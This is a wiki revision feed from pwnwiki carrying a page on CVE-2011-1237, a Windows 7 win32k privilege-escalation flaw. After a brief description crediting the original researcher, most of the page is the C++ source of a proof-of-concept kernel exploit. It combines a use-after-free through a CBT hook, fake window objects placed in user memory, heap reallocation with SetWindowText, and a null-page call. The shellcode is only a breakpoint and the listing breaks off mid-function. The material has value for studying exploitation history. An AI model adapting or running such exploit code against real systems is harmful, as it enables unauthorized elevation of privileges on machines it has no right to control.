<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-1237_Microsoft_Windows%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2011-1237 Microsoft Windows權限提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2011-1237_Microsoft_Windows%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-1237_Microsoft_Windows%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T14:24:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2011-1237_Microsoft_Windows%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=954&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; ## CVE-2011-1237  This is an old POC for CVE-2011-1237 on Windows 7 written in 2013. The vulnerability was discovered by Tarjei Mandt ([@kernelpool](https://twi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2011-1237_Microsoft_Windows%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=954&amp;oldid=prev"/>
		<updated>2021-04-03T06:19:43Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; ## CVE-2011-1237  This is an old POC for CVE-2011-1237 on Windows 7 written in 2013. The vulnerability was discovered by Tarjei Mandt ([@kernelpool](https://twi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## CVE-2011-1237&lt;br /&gt;
&lt;br /&gt;
This is an old POC for CVE-2011-1237 on Windows 7 written in 2013. The&lt;br /&gt;
vulnerability was discovered by Tarjei Mandt ([@kernelpool](https://twitter.com/kernelpool))&lt;br /&gt;
and explain in his paper [Kernel Attacks through User-Mode Callbacks](https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf).&lt;br /&gt;
&lt;br /&gt;
Several things are hardcoded in this POC and it call the Null page which does&lt;br /&gt;
not work anymore. The exploit is describe in my talk&lt;br /&gt;
[A Look into the Windows Kernel](https://lse.epita.fr/lse-summer-week-2013/slides/lse-summer-week-2013-26-Bruno%20Pujos-A%20Look%20into%20the%20Windows%20Kernel.pdf).&lt;br /&gt;
&lt;br /&gt;
The only thing the shellcode does is trigger a breakpoint.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;afxwin.h&amp;gt;&lt;br /&gt;
#include &amp;lt;iostream&amp;gt;&lt;br /&gt;
&lt;br /&gt;
// this should not be in hard, it's the addr of the handle table stored&lt;br /&gt;
// in win32k!gSharedInfo&lt;br /&gt;
#define BEGIN_HTABLE 0xbc510000&lt;br /&gt;
&lt;br /&gt;
int c = 0;&lt;br /&gt;
HWND win;&lt;br /&gt;
HWND win2;&lt;br /&gt;
HWND win3;&lt;br /&gt;
HWND win4;&lt;br /&gt;
HWND destroy;&lt;br /&gt;
&lt;br /&gt;
PVOID FakeWin;&lt;br /&gt;
PVOID FakeWin2;&lt;br /&gt;
wchar_t str[82];&lt;br /&gt;
&lt;br /&gt;
NTSTATUS (NTAPI *NtAllocateVirtualMemory)&lt;br /&gt;
(&lt;br /&gt;
    IN HANDLE ProcessHandle,&lt;br /&gt;
    IN OUT PVOID *BaseAddress,&lt;br /&gt;
    IN ULONG ZeroBits,&lt;br /&gt;
    IN OUT PULONG AllocationSize,&lt;br /&gt;
    IN ULONG AllocationType,&lt;br /&gt;
    IN ULONG Protect&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
NTSTATUS (NTAPI *NtFreeVirtualMemory)&lt;br /&gt;
(&lt;br /&gt;
    IN HANDLE ProcessHandle,&lt;br /&gt;
    IN OUT PVOID *BaseAddress,&lt;br /&gt;
    IN OUT PSIZE_T RegionSize,&lt;br /&gt;
    IN ULONG FreeType&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
// The hook needed for set the parent for the window (the one we will destroy&lt;br /&gt;
// later)&lt;br /&gt;
LRESULT CALLBACK CBT_exploit(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)&lt;br /&gt;
{&lt;br /&gt;
    CBT_CREATEWND *info = (LPCBT_CREATEWND) lParam;&lt;br /&gt;
&lt;br /&gt;
    if (nCode == HCBT_CREATEWND)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Win parrent : &amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; win2 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        info-&amp;gt;hwndInsertAfter = (HWND) win2;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// The msg function which does the work for the msg and in there is the destroy&lt;br /&gt;
// and the realloc for the use-after-free&lt;br /&gt;
LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)&lt;br /&gt;
{&lt;br /&gt;
    if (msg == WM_NCCREATE)&lt;br /&gt;
    {&lt;br /&gt;
        // here we destroy the window we have pass as the parent&lt;br /&gt;
        if (!DestroyWindow(win2))&lt;br /&gt;
        {&lt;br /&gt;
            std::cout &amp;lt;&amp;lt; &amp;quot;PROBLEM : not destroy&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
            exit(0);&lt;br /&gt;
        }&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;The window have been destroy&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
        // we reallocate the size of the window&lt;br /&gt;
        if (!SetWindowTextW(win3, str))&lt;br /&gt;
        {&lt;br /&gt;
            std::cout &amp;lt;&amp;lt; &amp;quot;SetWindowTextW3 fail&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
            exit(0);&lt;br /&gt;
        }&lt;br /&gt;
        // In some case the first allocation with not be at the same&lt;br /&gt;
        // position than the window we just destroy so we do it twice&lt;br /&gt;
        if (!SetWindowTextW(win4, str))&lt;br /&gt;
        {&lt;br /&gt;
            std::cout &amp;lt;&amp;lt; &amp;quot;SetWindowTextW4 fail&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
            exit(0);&lt;br /&gt;
        }&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;The realloc have being done&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    }&lt;br /&gt;
    // just returning the standard stuff for all the message&lt;br /&gt;
    return DefWindowProc (hwnd, msg, wParam, lParam);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int shellcode()&lt;br /&gt;
{&lt;br /&gt;
    // I should put a real shellcode here but that will do it for now&lt;br /&gt;
    __asm _emit 0xcc // int 3&lt;br /&gt;
    return 0;&lt;br /&gt;
    // everything after that fail because I don't fix the window...&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void initShellcode()&lt;br /&gt;
{&lt;br /&gt;
    PVOID Addr = (PVOID) 0x00001000;&lt;br /&gt;
    ULONG Size = 1024;&lt;br /&gt;
    ULONG Status;&lt;br /&gt;
    char *nulll = 0;&lt;br /&gt;
    int  *nu = (int *) 1;&lt;br /&gt;
&lt;br /&gt;
    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
&lt;br /&gt;
    if (Status)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Allocation of the null page fail&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit(0);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    nulll[0] = 0xe8; // call&lt;br /&gt;
    nu[0] = ((int) shellcode) - 5; // relative addr&lt;br /&gt;
    nulll[5] = 0xc3; // ret&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
HINSTANCE init()&lt;br /&gt;
{&lt;br /&gt;
    HINSTANCE hInst = GetModuleHandle (0);&lt;br /&gt;
    WNDCLASSEX wc;&lt;br /&gt;
&lt;br /&gt;
    // we get the address of the NtAllocateVirtualMemory&lt;br /&gt;
    *(FARPROC *) &amp;amp;NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle(&amp;quot;NTDLL.DLL&amp;quot;),&lt;br /&gt;
        &amp;quot;NtAllocateVirtualMemory&amp;quot;);&lt;br /&gt;
    *(FARPROC *) &amp;amp;NtFreeVirtualMemory = GetProcAddress(GetModuleHandle(&amp;quot;NTDLL.DLL&amp;quot;),&lt;br /&gt;
        &amp;quot;NtFreeVirtualMemory&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    // we register some window class&lt;br /&gt;
    // we need to register for set the WndProc function&lt;br /&gt;
    wc.cbSize = sizeof (WNDCLASSEX);&lt;br /&gt;
    wc.style = 0;&lt;br /&gt;
    wc.lpfnWndProc = WndProc;&lt;br /&gt;
    wc.cbClsExtra = 0;&lt;br /&gt;
    wc.cbWndExtra = 0;&lt;br /&gt;
    wc.hInstance = hInst;&lt;br /&gt;
    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);&lt;br /&gt;
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);&lt;br /&gt;
    wc.hbrBackground = (HBRUSH) (COLOR_WINDOW+1);&lt;br /&gt;
    wc.lpszMenuName = NULL;&lt;br /&gt;
    wc.lpszClassName = &amp;quot;MyWinClass&amp;quot;;&lt;br /&gt;
    wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);&lt;br /&gt;
&lt;br /&gt;
    if (!RegisterClassEx(&amp;amp;wc))&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Window Registration Failed!&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit(0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    initShellcode();&lt;br /&gt;
&lt;br /&gt;
    return hInst;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// do the basic operation on the handler for knowing where it is in the table&lt;br /&gt;
int get_table_offset_from_handle(int h)&lt;br /&gt;
{&lt;br /&gt;
    return (0xc * (h &amp;amp; 0xffff));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// If I can't allocate normally I just try to free something allocate at a place&lt;br /&gt;
// where I can alloc&lt;br /&gt;
PVOID desesperateallocate()&lt;br /&gt;
{&lt;br /&gt;
    int BaseAddr = 0x00200000; // this is arbitrary&lt;br /&gt;
    PVOID Addr = (PVOID) BaseAddr;&lt;br /&gt;
    ULONG Size = 0;&lt;br /&gt;
    ULONG Status;&lt;br /&gt;
&lt;br /&gt;
    Status = NtFreeVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, &amp;amp;Size,&lt;br /&gt;
        MEM_RELEASE);&lt;br /&gt;
&lt;br /&gt;
    while (Status)&lt;br /&gt;
    {&lt;br /&gt;
        BaseAddr += 0x10000;&lt;br /&gt;
        Addr = (PVOID) BaseAddr;&lt;br /&gt;
        Status = NtFreeVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, &amp;amp;Size,&lt;br /&gt;
            MEM_RELEASE);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Free : 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; Addr &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
&lt;br /&gt;
    if (Status)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Fail reallocation at 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; BaseAddr&lt;br /&gt;
            &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit(0);&lt;br /&gt;
    }&lt;br /&gt;
    return Addr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// allocate with NTAllocatVirtualMemory a place for putting a fake window&lt;br /&gt;
// In particular this function care that the address will be put in a string&lt;br /&gt;
// SetWindowText convert the things it does not now how to print in '?'&lt;br /&gt;
PVOID functionallocate()&lt;br /&gt;
{&lt;br /&gt;
    int BaseAddr = 0x00200000; // this is arbitrary&lt;br /&gt;
    PVOID Addr = (PVOID) BaseAddr;&lt;br /&gt;
    ULONG Size = 1024;&lt;br /&gt;
    ULONG Status = 1;&lt;br /&gt;
&lt;br /&gt;
    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
&lt;br /&gt;
    while (Status)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Error Allocate : 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; Addr &amp;lt;&amp;lt; &amp;quot; &amp;quot;&amp;lt;&amp;lt; Status&lt;br /&gt;
            &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        BaseAddr += 0x10000;&lt;br /&gt;
        Addr = (PVOID) BaseAddr;&lt;br /&gt;
        Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        // If this have not work we will try to free something which is already&lt;br /&gt;
        // alloc this have a good chance to finish by crashing the program&lt;br /&gt;
        // but for now I have no problem with this&lt;br /&gt;
        if (((BaseAddr &amp;gt;&amp;gt; 16) &amp;amp; 0xff) &amp;gt; 0x7f)&lt;br /&gt;
        {&lt;br /&gt;
            std::cout &amp;lt;&amp;lt; &amp;quot;Fail to allocate a valid page&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
            std::cout &amp;lt;&amp;lt; &amp;quot;Begin desperate allocate&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
            return desesperateallocate();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Success to allocate : 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; Addr &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    return Addr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// allocate with NTAllocatVirtualMemory a place for putting a fake window&lt;br /&gt;
PVOID allocatefun()&lt;br /&gt;
{&lt;br /&gt;
    int BaseAddr = 0x00200000; // this is arbitrary&lt;br /&gt;
    PVOID Addr = (PVOID) BaseAddr;&lt;br /&gt;
    ULONG Size = 1024;&lt;br /&gt;
    ULONG Status = 1;&lt;br /&gt;
&lt;br /&gt;
    Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
&lt;br /&gt;
    while (Status)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Error Allocate : 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; Addr &amp;lt;&amp;lt; &amp;quot; &amp;quot;&amp;lt;&amp;lt; Status&lt;br /&gt;
            &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        BaseAddr += 0x10000;&lt;br /&gt;
        Addr = (PVOID) BaseAddr;&lt;br /&gt;
        Status = NtAllocateVirtualMemory( ((HANDLE) -1), &amp;amp;Addr, 0, &amp;amp;Size,&lt;br /&gt;
        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Success to allocate : 0x&amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; Addr &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    return Addr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void prepdecr(HINSTANCE hInst)&lt;br /&gt;
{&lt;br /&gt;
    FakeWin = functionallocate();&lt;br /&gt;
    FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Fake Win : &amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; FakeWin &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    // we put this to 0 because of a check done in the function&lt;br /&gt;
    ((int *)FakeWin)[1] = 0;&lt;br /&gt;
&lt;br /&gt;
    // we crate the string for the reallocation&lt;br /&gt;
    for (int i = 0; i &amp;lt; 82; i++)&lt;br /&gt;
        str[i] = 'a';&lt;br /&gt;
    str[81] = '\0';&lt;br /&gt;
    // the address for the spwndNext : we put the address of our&lt;br /&gt;
    // FakeWindow&lt;br /&gt;
    str[0x2c / 2] = (char) (((int) FakeWin) &amp;amp; 0xff);&lt;br /&gt;
    str[0x2c / 2 + 1] = (char) (((int) FakeWin &amp;gt;&amp;gt; 16) &amp;amp; 0xff);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void changeaddrdecr(int addrdecr)&lt;br /&gt;
{&lt;br /&gt;
    // we put in the position for the next the addr to decr&lt;br /&gt;
    ((int *)FakeWin)[12] = (addrdecr - 4);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void decr(HINSTANCE hInst, int addrdecr)&lt;br /&gt;
{&lt;br /&gt;
    HHOOK hhk;&lt;br /&gt;
&lt;br /&gt;
    // we first create two windows we will use for realloc with SetWindowText&lt;br /&gt;
    // this window are name win3 and win4&lt;br /&gt;
    win3 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, NULL, WS_TILEDWINDOW, 500, 500, 100, 100,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
    if (!win3)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Window 3 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    win4 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, NULL, WS_TILEDWINDOW, 500, 500, 100, 100,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (!win4)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Window 4 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit(0);&lt;br /&gt;
    }&lt;br /&gt;
    // we need a third window which will set as the parent and then destroy&lt;br /&gt;
    // and reallocate using SetWindowText&lt;br /&gt;
    win2 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, &amp;quot;Test title 2&amp;quot;, WS_TILEDWINDOW, 0, 0, 200, 200,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
    if (!win2)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Win2 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window parrent : &amp;quot; &amp;lt;&amp;lt; win2 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window for the realloc : &amp;quot; &amp;lt;&amp;lt; win3 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window for the realloc : &amp;quot; &amp;lt;&amp;lt; win4 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    // we set the hook where we will say that the win2 is the parrent&lt;br /&gt;
    hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());&lt;br /&gt;
&lt;br /&gt;
    // we create the window, all the exploit is during creation&lt;br /&gt;
    win = CreateWindowEx(WS_EX_LEFT, &amp;quot;MyWinClass&amp;quot;, &amp;quot;Test title&amp;quot;, WS_TILEDWINDOW, 0, 0, 200, 200,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    // we check that everything as been going fine&lt;br /&gt;
    if (!win)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;An error occur during the creation and the exploit : &amp;quot;&lt;br /&gt;
            &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // we unset the hook for the next creation&lt;br /&gt;
    UnhookWindowsHookEx(hhk);&lt;br /&gt;
&lt;br /&gt;
    // we put the addr to decrement to 0 because if we relink&lt;br /&gt;
    // the value we went to decrement could change&lt;br /&gt;
    changeaddrdecr(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void callnull(HINSTANCE hInst, int addrdecr)&lt;br /&gt;
{&lt;br /&gt;
    HHOOK hhk;&lt;br /&gt;
    HWND tmp1;&lt;br /&gt;
    HWND tmp2;&lt;br /&gt;
&lt;br /&gt;
    // here we will need two fake windows, the second is the one we will&lt;br /&gt;
    // be decrement and will be use to call null&lt;br /&gt;
    FakeWin = functionallocate();&lt;br /&gt;
    FakeWin2 = allocatefun();&lt;br /&gt;
    FakeWin = (char *)FakeWin + 0x64; // adding something for not having a double 0&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Fake Win : &amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; FakeWin &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Fake Win 2 : &amp;quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; FakeWin2 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    ((int *)FakeWin)[1] = 0;&lt;br /&gt;
&lt;br /&gt;
    // we put the addr to decrement as our second false window&lt;br /&gt;
    ((int *)FakeWin)[12] = (int)FakeWin2;&lt;br /&gt;
&lt;br /&gt;
    // we set the handler for our fake window as the one we have modify&lt;br /&gt;
    ((int *) FakeWin2)[0] =  (int) destroy;&lt;br /&gt;
    // we set the clock obj to 1, as it will be set to 0 it will call the&lt;br /&gt;
    // destroying function for the type associate and so call the null page&lt;br /&gt;
    ((int *) FakeWin2)[1] =  1;&lt;br /&gt;
&lt;br /&gt;
    // we create the string for the reallocation&lt;br /&gt;
    for (int i = 0; i &amp;lt; 82; i++)&lt;br /&gt;
        str[i] = 'a';&lt;br /&gt;
    str[81] = '\0';&lt;br /&gt;
    // the address for the spwndNext&lt;br /&gt;
    str[0x2c / 2] = (char) (((int) FakeWin) &amp;amp; 0xff);&lt;br /&gt;
    str[0x2c / 2 + 1] = (char) (((int) FakeWin &amp;gt;&amp;gt; 16) &amp;amp; 0xff);&lt;br /&gt;
&lt;br /&gt;
    tmp1 = win3;&lt;br /&gt;
    // like previously we creatte two window for reallocate&lt;br /&gt;
    win3 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, NULL, WS_TILEDWINDOW, 500, 500, 100, 100,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (!win3)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Win3 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    tmp2 = win4;&lt;br /&gt;
    win4 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, NULL, WS_TILEDWINDOW, 500, 500, 100, 100,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (!win4)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Win4 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // and one wich will be the parrent and then destroy&lt;br /&gt;
    win2 = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, &amp;quot;Test title 2&amp;quot;, WS_TILEDWINDOW, 0, 0, 200, 200,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (!win2)&lt;br /&gt;
    {&lt;br /&gt;
        // Funny thing if I exit here the destruction of the window potentially&lt;br /&gt;
        // call the null page&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Win2 not created : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit(0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window 2 : &amp;quot; &amp;lt;&amp;lt; win2 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window 3 : &amp;quot; &amp;lt;&amp;lt; win3 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Window 4 : &amp;quot; &amp;lt;&amp;lt; win4 &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    // and finnaly we do the exploit&lt;br /&gt;
    hhk = SetWindowsHookEx(5, CBT_exploit, NULL, GetCurrentThreadId());&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    win = CreateWindowEx(WS_EX_LEFT, &amp;quot;MyWinClass&amp;quot;, &amp;quot;Test title&amp;quot;, WS_TILEDWINDOW, 0, 0, 200, 200,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
&lt;br /&gt;
    if (!win)&lt;br /&gt;
    {&lt;br /&gt;
        std::cout &amp;lt;&amp;lt; &amp;quot;Error during the call to the null page : &amp;quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
        exit (0);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    UnhookWindowsHookEx(hhk);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void cve ()&lt;br /&gt;
{&lt;br /&gt;
    int addrdecr;&lt;br /&gt;
&lt;br /&gt;
    HINSTANCE hInst;&lt;br /&gt;
    PVOID FakeWin;&lt;br /&gt;
&lt;br /&gt;
    hInst = init();&lt;br /&gt;
&lt;br /&gt;
    // the window to destroy&lt;br /&gt;
    destroy = CreateWindowEx(WS_EX_LEFT, &amp;quot;Button&amp;quot;, NULL, WS_TILEDWINDOW, 500, 500, 100, 100,&lt;br /&gt;
        NULL, NULL, hInst, NULL);&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Destroy Window : &amp;quot; &amp;lt;&amp;lt; destroy &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Offset table : &amp;quot; &amp;lt;&amp;lt; get_table_offset_from_handle((int) destroy) &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
    addrdecr = BEGIN_HTABLE + get_table_offset_from_handle((int) destroy) + 9;&lt;br /&gt;
&lt;br /&gt;
    prepdecr(hInst);&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Begin the three decrement for the flag&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    changeaddrdecr(addrdecr);&lt;br /&gt;
    decr(hInst, addrdecr);&lt;br /&gt;
    // we set the addr each time&lt;br /&gt;
    changeaddrdecr(addrdecr);&lt;br /&gt;
    decr(hInst, addrdecr);&lt;br /&gt;
&lt;br /&gt;
